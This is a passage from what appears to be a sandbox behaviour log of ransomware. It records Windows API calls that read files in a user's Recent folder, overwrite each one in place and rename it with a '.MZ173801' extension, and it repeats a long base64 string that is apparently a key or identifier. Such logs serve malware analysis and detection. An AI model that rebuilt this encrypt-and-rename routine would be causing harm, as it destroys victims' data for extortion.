HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz0vcqroRT.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz0vcqrort.lnk.mz173801")) returned 1 [0122.043] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61d9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf61d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf61d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="s ysimh vPvf.lnk", cAlternateFileName="SYSIMH~1.LNK")) returned 1 [0122.043] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.043] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.043] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s ysimh vPvf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\s ysimh vpvf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61d9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf61d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf61d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144e)) returned 1 [0122.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s ysimh vPvf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\s ysimh vpvf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.047] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.047] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.048] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x144e [0122.048] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.048] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x144e, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x144e, lpOverlapped=0x0) returned 1 [0122.049] CloseHandle (hObject=0x288) returned 1 [0122.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s ysimh vPvf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\s ysimh vpvf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.050] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x144e, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x144e, lpOverlapped=0x0) returned 1 [0122.052] CloseHandle (hObject=0x288) returned 1 [0122.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s ysimh vPvf.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\s ysimh vpvf.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s ysimh vPvf.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\s ysimh vpvf.lnk.mz173801")) returned 1 [0122.054] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4c6d40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1490, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="SbP7KV5gI4SzAi7Xlom.lnk", cAlternateFileName="SBP7KV~1.LNK")) returned 1 [0122.054] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.054] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SbP7KV5gI4SzAi7Xlom.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sbp7kv5gi4szai7xlom.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4c6d40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1490)) returned 1 [0122.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SbP7KV5gI4SzAi7Xlom.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sbp7kv5gi4szai7xlom.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.059] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.059] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.059] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1490 [0122.059] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.059] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1490, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1490, lpOverlapped=0x0) returned 1 [0122.060] CloseHandle (hObject=0x288) returned 1 [0122.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SbP7KV5gI4SzAi7Xlom.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sbp7kv5gi4szai7xlom.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.061] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1490, 